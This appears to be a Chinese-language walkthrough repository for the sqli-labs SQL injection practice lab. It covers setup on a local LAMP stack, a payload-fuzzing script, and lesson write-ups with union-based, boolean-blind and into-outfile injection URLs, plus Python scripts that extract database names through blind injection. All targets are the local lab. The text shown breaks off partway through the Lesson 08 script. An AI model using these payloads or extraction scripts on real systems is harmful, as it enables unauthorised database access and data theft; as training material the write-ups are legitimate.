├── README.md ├── SUMMARY.md ├── book.json ├── tools ├── Blind-Injection-Script.md └── README.md └── writeup ├── Lesson-01.md ├── Lesson-02.md ├── Lesson-03.md ├── Lesson-04.md ├── Lesson-05.md ├── Lesson-06.md ├── Lesson-07.md ├── Lesson-08.md ├── Lesson-09.md ├── Lesson-10.md ├── Lesson-11.md ├── Lesson-12.md ├── Lesson-13.md ├── Lesson-14.md ├── Lesson-15.md ├── Lesson-16.md ├── Lesson-17.md ├── Lesson-18.md ├── Lesson-19.md ├── Lesson-20.md ├── Lesson-21.md ├── Lesson-22.md ├── Lesson-23.md ├── Lesson-24.md ├── Lesson-25.md ├── Lesson-26.md ├── Lesson-27.md ├── Lesson-28.md ├── Lesson-28a.md ├── Lesson-29.md ├── Lesson-30.md ├── Lesson-31.md ├── Lesson-32.md ├── Lesson-33.md ├── Lesson-34.md ├── Lesson-35.md ├── Lesson-36.md ├── Lesson-37.md ├── Lesson-38.md ├── Lesson-39.md ├── Lesson-40.md ├── Lesson-41.md ├── Lesson-42.md ├── Lesson-43.md ├── Lesson-44.md ├── Lesson-45.md ├── Lesson-46.md ├── Lesson-47.md ├── Lesson-48.md ├── Lesson-49.md ├── Lesson-50.md ├── Lesson-51.md ├── Lesson-52.md ├── Lesson-53.md ├── Lesson-54.md ├── Lesson-55.md ├── Lesson-56.md ├── Lesson-57.md ├── Lesson-58.md ├── Lesson-59.md ├── Lesson-60.md ├── Lesson-61.md ├── Lesson-62.md ├── Lesson-63.md ├── Lesson-64.md ├── Lesson-65.md └── README.md /README.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | 3 | --- 4 | ###sqli-labs简介 5 | 对于想要学习web安全的同学 , 这是一个非常好的学习有关SQL注入的学习资料 6 | 类似于闯关的模式 , 每一个关卡都有非常多的思路和利用方式 7 | 这些关卡包含了各种常见的SQL注入姿势 : 8 | * 明注 9 | * 盲注 10 | * 基于bool 11 | * 基于时间 12 | * 基于报错 13 | 14 | > [Github地址](https://github.com/Audi-1/sqli-labs) 15 | 16 | --- 17 | 环境要求 : 18 | php 19 | mysql 20 | web服务器(Aapche或者其他) 21 | > 注 : 22 | 这里笔者使用操作系统是ubuntu16.04 , 如果大家使用的操作系统是Widnows的话 23 | 区别只是在如何去安装和配置php/mysql/apache服务器 24 | 这些百度/Google上已经有很多很详细的教程了 , 就不再赘述 25 | 大家可以直接使用例如` xampp ` / ` wamp ` 这样的服务器套件 26 | 27 | --- 28 | 部署流程 : 29 | 1. 搭建lamp环境 30 | 2. 从github上克隆最新的sqli-labs仓库 31 | 3. 将克隆的仓库移动到apache的web目录下 32 | 4. 配置php文件(数据库密码) 33 | 5. 浏览器访问启动页面进行安装 34 | 35 | --- 36 | 部署教程 : 37 | 1. 搭建lamp环境 : 38 | ``` 39 | sudo apt-get install apache2 40 | sudo apt-get install php5 41 | sudo apt-get install libapache2-mod-php5 42 | sudo apt-get install mysql-server 43 | ``` 44 | > 注 : 如果你的ubuntu是16.* , 在安装php的时候可能会出现找不到php5的情况 , 这个是因为ubuntu16以后对php5不再进行支持 , 如果你使用`apt-get install php`的话 , 安装的默认为php7 , 但是这个问题是可以通过添加php5的第三方源来解决的 , 可以使用下面这条几条命令 : 45 | ``` 46 | sudo add-apt-repository ppa:ondrej/php 47 | sudo apt-get update 48 | sudo apt-get install php5.6 49 | ``` 50 | 2. 启动apache和mysql 51 | ``` 52 | sudo service apache2 start 53 | sudo service mysql start 54 | ``` 55 | 3. 测试php是否安装成功 , 使用php探针 56 | 在web目录下编写php代码保存为phpinfo.php 57 | ```php 58 | 61 | ``` 62 | 访问 `http://127.0.0.1/phpinfo.php` , 如果出现php的基本信息则说明php已经安装成功 , 这个时候就可以把这个探针文件删除 63 | 3. 测试php连接数据库是否成功 64 | 在web目录下编写php代码保存为 : database.php 65 | ``` 66 | 75 | ``` 76 | 然后访问`http://127.0.0.1/database.php` , 如果数据库配置正确的话 , 页面会显示`OK!` , 同理也可以删除这个文件 77 | 否则会显示错误信息 , 可以根据这个错误信息去寻找解决方案 78 | 2. 安装git 79 | ``` 80 | apt-get install git 81 | ``` 82 | 3. 从github上克隆`sqli-labs`仓库 83 | ``` 84 | git clone https://github.com/Audi-1/sqli-labs.git 85 | ``` 86 | 如果只是为了练习sql注入的话 , 这一步还有上面的安装git的那一步其实可以省略 , 因为github提供了一个直接下载仓库源码压缩包的功能 , 下载解压之后也是相同的效果 87 | 4. 进入sqli-labs目录, 修改数据库配置文件 : `sqli-labs/sql-connections/db-creds.inc` 88 | ``` 89 | 97 | ``` 98 | 5. 复制这个目录到apache的web目录(默认为 : `/var/www/html/`) 99 | ``` 100 | sudo cp -r ./sqli-labs /var/www/html/ 101 | ``` 102 | 6. 然后在浏览器中访问 : `http://127.0.0.1/` , 就可以看到启动的页面了 103 | 7. 点击页面中的`Setup/reset Database for labs`链接 , 让其进行安装(这个过程其实就是创建必要的数据库和表 , 并插入一些测试数据) 104 | 105 | --- 106 | 参考资料 : 107 | 1. [ubuntu 搭建lamp](http://jingyan.baidu.com/article/a681b0de36ad683b18434691.html) 108 | 1. 如何使用git 109 | 2. 如何使用github 110 | 3. 如何安装配置apache服务器 111 | 4. 如何安装php 112 | 5. 如何安装mysqle 113 | -------------------------------------------------------------------------------- /SUMMARY.md: -------------------------------------------------------------------------------- 1 | # Summary 2 | 3 | * [Introduction](README.md) 4 | * [Tools](tools/README.md) 5 | * [Blind-Injection-Script](tools/Blind-Injection-Script.md) 6 | * [README](writeup/README.md) 7 | * [WriteUp](writeup/README.md) 8 | * [Lesson-01](writeup/Lesson-01.md) 9 | * [Lesson-02](writeup/Lesson-02.md) 10 | * [Lesson-03](writeup/Lesson-03.md) 11 | * [Lesson-04](writeup/Lesson-04.md) 12 | * [Lesson-05](writeup/Lesson-05.md) 13 | * [Lesson-06](writeup/Lesson-06.md) 14 | * [Lesson-07](writeup/Lesson-07.md) 15 | * [Lesson-08](writeup/Lesson-08.md) 16 | * [Lesson-09](writeup/Lesson-09.md) 17 | * [Lesson-10](writeup/Lesson-10.md) 18 | * [Lesson-11](writeup/Lesson-11.md) 19 | * [Lesson-12](writeup/Lesson-12.md) 20 | * [Lesson-13](writeup/Lesson-13.md) 21 | * [Lesson-14](writeup/Lesson-14.md) 22 | * [Lesson-15](writeup/Lesson-15.md) 23 | * [Lesson-16](writeup/Lesson-16.md) 24 | * [Lesson-17](writeup/Lesson-17.md) 25 | * [Lesson-18](writeup/Lesson-18.md) 26 | * [Lesson-19](writeup/Lesson-19.md) 27 | * [Lesson-20](writeup/Lesson-20.md) 28 | * [Lesson-21](writeup/Lesson-21.md) 29 | * [Lesson-22](writeup/Lesson-22.md) 30 | * [Lesson-23](writeup/Lesson-23.md) 31 | * [Lesson-24](writeup/Lesson-24.md) 32 | * [Lesson-25](writeup/Lesson-25.md) 33 | * [Lesson-26](writeup/Lesson-26.md) 34 | * [Lesson-27](writeup/Lesson-27.md) 35 | * [Lesson-28](writeup/Lesson-28.md) 36 | * [Lesson-28a](writeup/Lesson-28a.md) 37 | * [Lesson-29](writeup/Lesson-29.md) 38 | * [Lesson-30](writeup/Lesson-30.md) 39 | * [Lesson-31](writeup/Lesson-31.md) 40 | * [Lesson-32](writeup/Lesson-32.md) 41 | * [Lesson-33](writeup/Lesson-33.md) 42 | * [Lesson-34](writeup/Lesson-34.md) 43 | * [Lesson-35](writeup/Lesson-35.md) 44 | * [Lesson-36](writeup/Lesson-36.md) 45 | * [Lesson-37](writeup/Lesson-37.md) 46 | * [Lesson-38](writeup/Lesson-38.md) 47 | * [Lesson-39](writeup/Lesson-39.md) 48 | * [Lesson-40](writeup/Lesson-40.md) 49 | * [Lesson-41](writeup/Lesson-41.md) 50 | * [Lesson-42](writeup/Lesson-42.md) 51 | * [Lesson-43](writeup/Lesson-43.md) 52 | * [Lesson-44](writeup/Lesson-44.md) 53 | * [Lesson-45](writeup/Lesson-45.md) 54 | * [Lesson-46](writeup/Lesson-46.md) 55 | * [Lesson-47](writeup/Lesson-47.md) 56 | * [Lesson-48](writeup/Lesson-48.md) 57 | * [Lesson-49](writeup/Lesson-49.md) 58 | * [Lesson-50](writeup/Lesson-50.md) 59 | * [Lesson-51](writeup/Lesson-51.md) 60 | * [Lesson-52](writeup/Lesson-52.md) 61 | * [Lesson-53](writeup/Lesson-53.md) 62 | * [Lesson-54](writeup/Lesson-54.md) 63 | * [Lesson-55](writeup/Lesson-55.md) 64 | * [Lesson-56](writeup/Lesson-56.md) 65 | * [Lesson-57](writeup/Lesson-57.md) 66 | * [Lesson-58](writeup/Lesson-58.md) 67 | * [Lesson-59](writeup/Lesson-59.md) 68 | * [Lesson-60](writeup/Lesson-60.md) 69 | * [Lesson-61](writeup/Lesson-61.md) 70 | * [Lesson-62](writeup/Lesson-62.md) 71 | * [Lesson-63](writeup/Lesson-63.md) 72 | * [Lesson-64](writeup/Lesson-64.md) 73 | * [Lesson-65](writeup/Lesson-65.md) 74 | -------------------------------------------------------------------------------- /book.json: -------------------------------------------------------------------------------- 1 | { 2 | "plugins": [ 3 | "disqus", 4 | "github", 5 | "search" 6 | ], 7 | "pluginsConfig": { 8 | "disqus": { 9 | "shortName": "sqli-labs" 10 | }, 11 | "github": { 12 | "url": "https://github.com/wangyihang/sqli-labs" 13 | } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /tools/Blind-Injection-Script.md: -------------------------------------------------------------------------------- 1 | # Blind-Injection-Script 2 | 3 | ``` 4 | #!/usr/bin/env python 5 | # encoding:utf8 6 | import requests 7 | 8 | for levelNumebr in range(1,66): 9 | print "第",levelNumebr,"关" 10 | rules = open('rules', 'r') 11 | currentQuery = "1" # 正确的查询参数 12 | wrongQuery = "0" # 正确的查询参数 13 | baseUrl = "http://127.0.0.1/Less-" + str(levelNumebr) + "/?id=" 14 | url = baseUrl + currentQuery 15 | contentLength = len(requests.get(url).text) 16 | print "正常返回长度为 : ",contentLength 17 | for line in rules: 18 | if line.startswith("#"): 19 | continue 20 | if line == "\r\n": 21 | continue 22 | line = line.replace("\r","") 23 | line = line.replace("\n","") 24 | startTemp = line.split("()")[0] 25 | endTemp = line.split("()")[1] 26 | payload1 = startTemp + "(" + wrongQuery + ")" + endTemp 27 | testUrl1 = baseUrl + payload1 28 | payload2 = startTemp + "(" + currentQuery + ")" + endTemp 29 | testUrl2 = baseUrl + payload2 30 | content1 = requests.get(testUrl1).text 31 | content1 = content1.replace(payload1,wrongQuery) 32 | len1 = len(content1) 33 | content2 = requests.get(testUrl2).text 34 | content2 = content2.replace(payload2,currentQuery) 35 | len2 = len(content2) 36 | if (len1 != contentLength) and (len2 == contentLength): 37 | print baseUrl + line 38 | ``` 39 | ``` 40 | # 注意这里并没有把空格进行URL编码 , 也就是说Requests库在发送的时候可能已经进行了一次编码 41 | # 之所以这么做是因为有的时候 , Payload可能会显示在页面上 42 | # 这样的话 , 可能对我们判断是否注入成功有影响 43 | # 因此想到一个解决方案是将返回页面中的Payload替换为最开始获取正确的页面的时候的参数 44 | # 这样一来 , 就基本上可以解决这个问题 45 | # 这样的话 , 可以通过判断页面的长度来判断是否注入成功 46 | # 如下语句 : 如果返回正常 , 说明猜测成功 47 | # 但是这里还会有一个问题 , 例如29关 48 | # 第29关是将URL中符号转换成了URL编码然后显示出来 49 | # 这个问题暂时还没有解决 50 | # 如果还是按照刚才的思路的话 , 就是将Payload中的特殊字符进行URL编码 51 | # 然后再对content进行替换 , 现在有点忙 , 晚上回来试试 52 | 0|()-- 53 | 0'|()-- 54 | 0"|()-- 55 | 0)|()-- 56 | 0')|()-- 57 | 0")|()-- 58 | 0))|()-- 59 | 0'))|()-- 60 | 0"))|()-- 61 | 0)))|()-- 62 | ##################################### 63 | # 当单引号被过滤(去掉) 64 | 0%df'|()-- 65 | 0%df')|()-- 66 | 0%df'))|()-- 67 | ##################################### 68 | # 当双引号被过滤 69 | 0%df"|()-- 70 | 0%df")|()-- 71 | 0%df"))|()-- 72 | ##################################### 73 | 0'|()|''='1-- 74 | 0"|()|''='1-- 75 | 0)|()|''='1-- 76 | 0')|()|''='1-- 77 | 0")|()|''='1-- 78 | 0))|()|''='1-- 79 | 0'))|()|''='1-- 80 | 0"))|()|''='1-- 81 | 0)))|()|''='1-- 82 | ##################################### 83 | 0'||()||''='1 84 | ``` 85 | -------------------------------------------------------------------------------- /tools/README.md: -------------------------------------------------------------------------------- 1 | # TOOLS 2 | 3 | --- 4 | 1. BurpSuite 5 | Web安全测试神器 , 功能太多太强大 , [参考资料(百度文库)](http://wenku.baidu.com/link?url=C52hTxotzfXjc1bE3ByPxmBoYklPMWR2OzLcWa0EN1IUxL3K_QzZboQXLw4XGxNs6zqXTYRuY3rhWUzAuX91lml-onE_IbesJ1337v1NMHi) 6 | 2. Hackbar(Firefox插件) 7 | 发包神器 , SQL注入 , XSS辅助工具 8 | 3. EditThisCookie(Chrome扩展) 9 | 谷歌浏览器的扩展插件 , 可以非常方便地查看/修改当前浏览的页面的Cookie 10 | 4. Requests(python第三方库) 11 | 手动发送HTTP请求 , 自定义字段 , 使用代理等等 12 | 5. BeautifulSoup(python第三方库) 13 | 一个解析HTML页面的非常强大的库 14 | 15 | --- 16 | 下载与安装 : 17 | 1. [BurpSuite](https://portswigger.net/burp/download.html) 18 | 2. [Hackbar](https://addons.mozilla.org/en-US/firefox/addon/hackbar/) 19 | 3. [EditThisCookie](http://www.editthiscookie.com/) 20 | 4. [Requests](http://www.python-requests.org/en/master/) 21 | `pip install requests` 22 | 5. [BeautifulSoup](https://www.crummy.com/software/BeautifulSoup/bs4/doc/index.zh.html) 23 | `pip install bs4` 24 | -------------------------------------------------------------------------------- /writeup/Lesson-01.md: -------------------------------------------------------------------------------- 1 | # Lesson-01 2 | ``` 3 | 明注-,-Bool盲注-,-时间盲注-,-报错注入 4 | ``` 5 | 6 | --- 7 | 打开主页进入第一关 : 8 | 9 | ![图片.png](http://upload-images.jianshu.io/upload_images/2355077-4fb127751bf85e39.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 10 | 11 | 提示传入id这个参数 12 | 13 | ![图片.png](http://upload-images.jianshu.io/upload_images/2355077-b4dda3aaff925d7b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 14 | 15 | 发现这个页面会根据传入的ID查询到对应的用户 16 | 这里我们可以通过查看数据库进行验证 : 17 | 18 | ![图片.png](http://upload-images.jianshu.io/upload_images/2355077-8bc323ff0d75e3c6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 19 | 这样就可以推断出PHP执行的SQL语句的功能就是从数据库中查询出id为我们传入的id的那个用户 , 并且把得到的数据中的用户名和密码显示出来 20 | 我们猜测SQL语句可能是这样 : 21 | ```SQL 22 | SELECT username,password FROM `users` WHERE id = $_GET['id']; 23 | ``` 24 | 但是我们猜测的这个SQL语句并不一定正确 25 | 因为SQL语句在执行的时候 , 对语法有一定的要求 , 但是并不是特别严格 , 例如 : 26 | ``` 27 | SELECT username,password FROM `users` WHERE id = '$_GET['id']'; 28 | SELECT username,password FROM `users` WHERE id = "$_GET['id']"; 29 | ``` 30 | 这两种都是可以查询到数据的 31 | 因此我们如果要攻击这个网站的话 , 就要想办法猜测出这个页面的SQL语句是怎么写的 32 | 要猜测属于上面的哪一种情况 , 这样我们才可以将我们自己精心构造的SQL语句注入到正常的参数里面 33 | 让我们的SQL语句的到执行 , 达到我们的目的(读出本来我们不能读取的内容 , 或者对数据库进行增/删/改/查的操作 , 或者利用数据库软件读取或者写入服务器上的文件 ... ) 34 | 我们可以先在本地的MySQL中对SQL语句进行测试 : 35 | ``` 36 | SELECT username,password FROM `users` WHERE id = 1; 37 | ``` 38 | 39 | 40 | ![图片.png](http://upload-images.jianshu.io/upload_images/2355077-494046fbda32332a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 41 | 42 | ![图片.png](http://upload-images.jianshu.io/upload_images/2355077-55f6c5d096cc27ab.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 43 | 44 | ![图片.png](http://upload-images.jianshu.io/upload_images/2355077-0070253fa69d57b0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 45 | 46 | 那么如果当我们输入的参数id并不是按照程序员想的是一个整数呢 ? 47 | 如果我们输入一个字母/一个符号会怎么样 ? 48 | 49 | ![图片.png](http://upload-images.jianshu.io/upload_images/2355077-2a5a8fc68211f6d6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 50 | 51 | ![图片.png](http://upload-images.jianshu.io/upload_images/2355077-9b173663d2401fbd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 52 | 53 | 这个时候 , 当我们输入的参数是 `1'` 54 | 发现这个页面报错了 , 报错的内容是 : 55 | ``` 56 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 57 | ``` 58 | 根据这个报错 , 我们可以看到它显示出来了一部分SQL语句 : 59 | ```SQL 60 | '1'' LIMIT 0,1 61 | ``` 62 | 而这其中的`1’` 63 | 就是我们刚才输入的参数 64 | 那么我们就可以继续对刚才的猜测进行完善 65 | 可以看到我们输入的参数`1'`是被两个单引号包裹起来的 66 | 而且在后面还对查询的结果集进行了切片 , 这样查询的结果就只有一条 67 | ``` 68 | SELECT username,password FROM `users` WHERE id = '$_GET['id']' LIMIT 0,1; 69 | ``` 70 | 那么刚才我们将畸形的参数传入以后 , 拼接得到的SQL语句就应该是 : 71 | ``` 72 | SELECT username,password FROM `users` WHERE id = '1'' LIMIT 0,1; 73 | ``` 74 | 我们放到MySQL里面执行一下 75 | 76 | ![图片.png](http://upload-images.jianshu.io/upload_images/2355077-28cc1b6274cbf972.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 77 | 发现当我们输入的单引号不匹配的时候 , MySQL的客户端会一直等待用户闭合这个单引号 78 | 但是当使用PHP去操作MySQL的时候 , 因为用户是通过PHP对数据库进行操作 , 所以不可能像我们刚才那样存在一个交互的界面 , 因此就这个单引号就不可能被闭合 , 因此这个时候就会报错 , 也就是刚才我们得到的这个错误 79 | 这个时候 , 如果我们继续修改一下查询的id这个参数 80 | 这里可以尝试使用MySQL定义的注释关键字 81 | > -- 82 | > # 83 | > /**/ 84 | 85 | 需要说明一下 , 第一个是两个`-`连接符后面紧跟着一个空格 86 | 前两个注释符是单行注释 , 第三个是多行注释 87 | 如果我们在id这个参数后面添加了注释的时候 : 88 | SQL语句变成这样 : 89 | ``` 90 | SELECT username,password FROM `users` WHERE id = '1'-- ' LIMIT 0,1; 91 | SELECT username,password FROM `users` WHERE id = '1'#' LIMIT 0,1; 92 | ``` 93 | 94 | ![图片.png](http://upload-images.jianshu.io/upload_images/2355077-4eaf2fbd2e2a6cbb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 95 | 96 | ![图片.png](http://upload-images.jianshu.io/upload_images/2355077-4994be37fec858c1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 97 | 都是可以正常得到查询的结果 98 | 说明后面的SQL语句已经被我们注释掉了 99 | 这样的话 , 如果我们刚才猜测的后台的SQL语句是正确的 100 | 如果我们传递参数为 : 101 | ``` 102 | http://127.0.0.1/Less-1/?id=1%27--+ 103 | http://127.0.0.1/Less-1/?id=1%27%23 104 | ``` 105 | 注意这里我们没有使用到原本的字符`'`和`#` 106 | 而是将它们URL编码以后再进行参数的传递 , 这里是因为服务器再接收到参数以后会对参数进行一次URL解码 107 | 这样的话解码之后刚好就可以拼凑成正常的SQL语句 108 | 还有一个需要注意的地方就是 : 109 | 1. 为什么是`--+`而不是`-- ` 110 | > 这里字符`-`和字符`+`在URL中都是有固定的含义的 , 比如说`+`就在URL编码中就代表空格 , 而URL编码中`-`不用编码 111 | 2. 为什么`--+`没有被URL编码 112 | > 由于这里我们是用`+`代替了` ` , 因此不需要进行编码 , 我们也可以不用`+` 而使用空格的URL编码 , 那么编码得到的URL就应该是 : 113 | ``` 114 | http://127.0.0.1/Less-1/?id=1%27--%20 115 | ``` 116 | 3. `#` 又为什么必须得编码 , 不编码可以吗 ? 117 | > 不可以 , 因为`#` 在URL中是有固定的含义的 , 表示页面中的锚点 , 如果不进行编码浏览器就会将其当成页面的锚点 , 而这里我们是需要将其作为数据传输给服务器的 , 因此需要进行URL编码 118 | 4. 为什么不用多行注释来注释后面的SQL语句 119 | > 因为多行注释的格式是 : 120 | ``` 121 | /*注释内容*/ 122 | ``` 123 | 在注释内容的前后都需要有标记 124 | 而这里我们只能控制SQL语句的一个位置 , 也就是输入id的地方 125 | 所以这样我们并不能构成一个正确的多行注释 , 因此不可以 , 大家也可以自己尝试一下 , 会直接报错(语法错误) 126 | 127 | 好了 , 现在我们尝试访问一下 : 128 | ``` 129 | http://127.0.0.1/Less-1/?id=1%27--+ 130 | http://127.0.0.1/Less-1/?id=1%27--%20 131 | http://127.0.0.1/Less-1/?id=1%27%23 132 | ``` 133 | 134 | ![图片.png](http://upload-images.jianshu.io/upload_images/2355077-ebe0e9f84350bc00.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 135 | 136 | 就可以正常查询出数据 , 而且是所有匹配的数据(因为注释掉了`LIMIT 0,1`) 137 | 到这里 , 我们就可以肯定这个网站的这个PHP文件的id这个参数 , 是存在注入点的 138 | 接下来 , 我们就要利用这个注入点将其数据库中的数据一步一步查询出来 139 | 140 | 编辑中... 141 | ----------- 142 | 143 | http://127.0.0.1/Less-1/?id=0%27union%20select%201,2,3--+ 144 | http://127.0.0.1/Less-1/?id=0%27union%20select%201,group_concat(schema_name),2%20from%20information_schema.schemata--+ 145 | -------------------------------------------------------------------------------- /writeup/Lesson-02.md: -------------------------------------------------------------------------------- 1 | # Lesson-02 2 | ``` 3 | 明注-,-Bool盲注-,-时间盲注-,-报错注入 4 | ``` 5 | 6 | ``` 7 | http://127.0.0.1/Less-2/?id=1 8 | http://127.0.0.1/Less-2/?id=1%27 9 | http://127.0.0.1/Less-2/?id=0%20union%20select%201,2,3--+ 10 | http://127.0.0.1/Less-2/?id=0%20union%20select%201,group_concat(schema_name),2%20from%20information_schema.schemata--+ 11 | ``` 12 | -------------------------------------------------------------------------------- /writeup/Lesson-03.md: -------------------------------------------------------------------------------- 1 | # Lesson-03 2 | ``` 3 | 明注-,-Bool盲注-,-时间盲注-,-报错注入 4 | ``` 5 | 6 | ``` 7 | http://127.0.0.1/Less-3/?id=1 8 | http://127.0.0.1/Less-3/?id=0%27)%20union%20select%201,2,3--+ 9 | http://127.0.0.1/Less-3/?id=0%27)%20union%20select%201,group_concat(schema_name),2%20from%20information_schema.schemata--+ 10 | ``` 11 | -------------------------------------------------------------------------------- /writeup/Lesson-04.md: -------------------------------------------------------------------------------- 1 | # Lesson-04 2 | ``` 3 | 明注-,-Bool盲注-,-时间盲注-,-报错注入 4 | ``` 5 | 6 | ``` 7 | http://127.0.0.1/Less-4/?id=1 8 | http://127.0.0.1/Less-4/?id=1%22 9 | http://127.0.0.1/Less-4/?id=0%22)%20union%20select%201,2,3--+ 10 | http://127.0.0.1/Less-4/?id=0%22)%20union%20select%201,group_concat(schema_name),2%20from%20information_schema.schemata--+ 11 | ``` 12 | -------------------------------------------------------------------------------- /writeup/Lesson-05.md: -------------------------------------------------------------------------------- 1 | # Lesson-05 2 | ``` 3 | Bool盲注 4 | ``` 5 | 6 | ``` 7 | http://127.0.0.1/Less-5/?id=1 8 | http://127.0.0.1/Less-5/?id=1%27 9 | http://127.0.0.1/Less-5/?id=1%27and%271%27=%271 10 | http://127.0.0.1/Less-5/?id=1%27and%271%27=%270 11 | ``` 12 | ``` 13 | #!/usr/bin/env python 14 | # encoding:utf8 15 | 16 | import requests 17 | import time 18 | import sys 19 | 20 | # config-start 21 | sleep_time = 5 22 | error_time = 1 23 | # config-end 24 | 25 | def getPayload(indexOfResult, indexOfChar, mid): 26 | column_name="schema_name" 27 | table_name="schemata" 28 | database_name="information_schema" 29 | startStr = "1'and " 30 | endStr = " and'1'='1" 31 | payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 32 | payload = startStr + payload + endStr 33 | return payload 34 | 35 | def exce(indexOfResult,indexOfChar,mid): 36 | # content-start 37 | url = "http://127.0.0.1/Less-5/?id=" 38 | tempurl = url + getPayload(indexOfResult,indexOfChar,mid) 39 | content = requests.get(tempurl).text 40 | # content-end 41 | # judge-start 42 | if "You are in..........." in content: 43 | return True 44 | else: 45 | return False 46 | # judge-end 47 | 48 | def doubleSearch(indexOfResult,indexOfChar,left_number, right_number): 49 | while left_number < right_number: 50 | mid = int((left_number + right_number) / 2) 51 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 52 | left_number = mid 53 | else: 54 | right_number = mid 55 | if left_number == right_number - 1: 56 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 57 | mid += 1 58 | break 59 | else: 60 | break 61 | return chr(mid) 62 | 63 | def search(): 64 | for i in range(32): # 需要遍历的查询结果的数量 65 | counter = 0 66 | for j in range(32): # 结果的长度 67 | counter += 1 68 | temp = doubleSearch(i, j, 0, 127) # 从255开始查询 69 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 70 | break 71 | sys.stdout.write(temp) 72 | sys.stdout.flush() 73 | if counter == 1: # 当结果集的所有行都被遍历后退出 74 | break 75 | sys.stdout.write("\r\n") 76 | sys.stdout.flush() 77 | 78 | search() 79 | ``` 80 | -------------------------------------------------------------------------------- /writeup/Lesson-06.md: -------------------------------------------------------------------------------- 1 | # Lesson-06 2 | ``` 3 | Bool盲注 4 | ``` 5 | 6 | ``` 7 | http://127.0.0.1/Less-6/?id=1 8 | http://127.0.0.1/Less-6/?id=1" 9 | http://127.0.0.1/Less-6/?id=1" and "1"="1 10 | http://127.0.0.1/Less-6/?id=1" and "1"="0 11 | ``` 12 | ``` 13 | #!/usr/bin/env python 14 | # encoding:utf8 15 | 16 | import requests 17 | import time 18 | import sys 19 | 20 | # config-start 21 | sleep_time = 5 22 | error_time = 1 23 | # config-end 24 | 25 | def getPayload(indexOfResult, indexOfChar, mid): 26 | column_name="schema_name" 27 | table_name="schemata" 28 | database_name="information_schema" 29 | startStr = "1\"and " 30 | endStr = " and\"1\"=\"1" 31 | payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 32 | payload = startStr + payload + endStr 33 | return payload 34 | 35 | def exce(indexOfResult,indexOfChar,mid): 36 | # content-start 37 | url = "http://127.0.0.1/Less-6/?id=" 38 | tempurl = url + getPayload(indexOfResult,indexOfChar,mid) 39 | content = requests.get(tempurl).text 40 | # content-end 41 | # judge-start 42 | if "You are in..........." in content: 43 | return True 44 | else: 45 | return False 46 | # judge-end 47 | 48 | def doubleSearch(indexOfResult,indexOfChar,left_number, right_number): 49 | while left_number < right_number: 50 | mid = int((left_number + right_number) / 2) 51 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 52 | left_number = mid 53 | else: 54 | right_number = mid 55 | if left_number == right_number - 1: 56 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)): 57 | mid += 1 58 | break 59 | else: 60 | break 61 | return chr(mid) 62 | 63 | def search(): 64 | for i in range(32): # 需要遍历的查询结果的数量 65 | counter = 0 66 | for j in range(32): # 结果的长度 67 | counter += 1 68 | temp = doubleSearch(i, j, 0, 127) # 从255开始查询 69 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 70 | break 71 | sys.stdout.write(temp) 72 | sys.stdout.flush() 73 | if counter == 1: # 当结果集的所有行都被遍历后退出 74 | break 75 | sys.stdout.write("\r\n") 76 | sys.stdout.flush() 77 | 78 | search() 79 | ``` 80 | -------------------------------------------------------------------------------- /writeup/Lesson-07.md: -------------------------------------------------------------------------------- 1 | # Lesson-07 2 | ``` 3 | into-outfile 4 | ``` 5 | 6 | 这一题的主要难度在于 : 7 | 1. 猜测SQL语句 8 | 2. 寻找网站的绝对路径 9 | ``` 10 | http://127.0.0.1/Less-7/?id=1 11 | http://127.0.0.1/Less-7/?id=1%27 12 | http://127.0.0.1/Less-7/?id=1%27)--+ 13 | http://127.0.0.1/Less-7/?id=1%27))--+ 14 | http://127.0.0.1/Less-7/?id=1%27))%20union%20select%201,2,3%20into%20outfile%20%27c:\\xampp\\htdocs\\Less-7\\outfile.txt%27--+ 15 | ``` 16 | -------------------------------------------------------------------------------- /writeup/Lesson-08.md: -------------------------------------------------------------------------------- 1 | # Lesson-08 2 | ``` 3 | Bool盲注 4 | ``` 5 | 6 | ``` 7 | http://127.0.0.1/Less-8/?id=1 8 | http://127.0.0.1/Less-8/?id=1%27 9 | 10 | http://127.0.0.1/Less-8/?id=1%27%20and%20%27%27=%27%27--+ 11 | http://127.0.0.1/Less-8/?id=1%27%20and%20%27%27=%27 12 | 13 | http://127.0.0.1/Less-8/?id=1%27%20and%20(1)%20and%20%27%27=%27 14 | ``` 15 | ``` 16 | #!/usr/bin/env python 17 | # encoding:utf8 18 | 19 | import requests 20 | import time 21 | import sys 22 | 23 | # config-start 24 | sleep_time = 5 25 | error_time = 1 26 | # config-end 27 | 28 | def getPayload(indexOfResult, indexOfChar, mid): 29 | column_name="schema_name" 30 | table_name="schemata" 31 | database_name="information_schema" 32 | startStr = "1' and (" 33 | endStr = ") and ''='" 34 | payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 35 | payload = startStr + payload + endStr 36 | return payload 37 | 38 | def exce(indexOfResult,indexOfChar,mid): 39 | # content-start 40 | url = "http://127.0.0.1/Less-8/?id=" 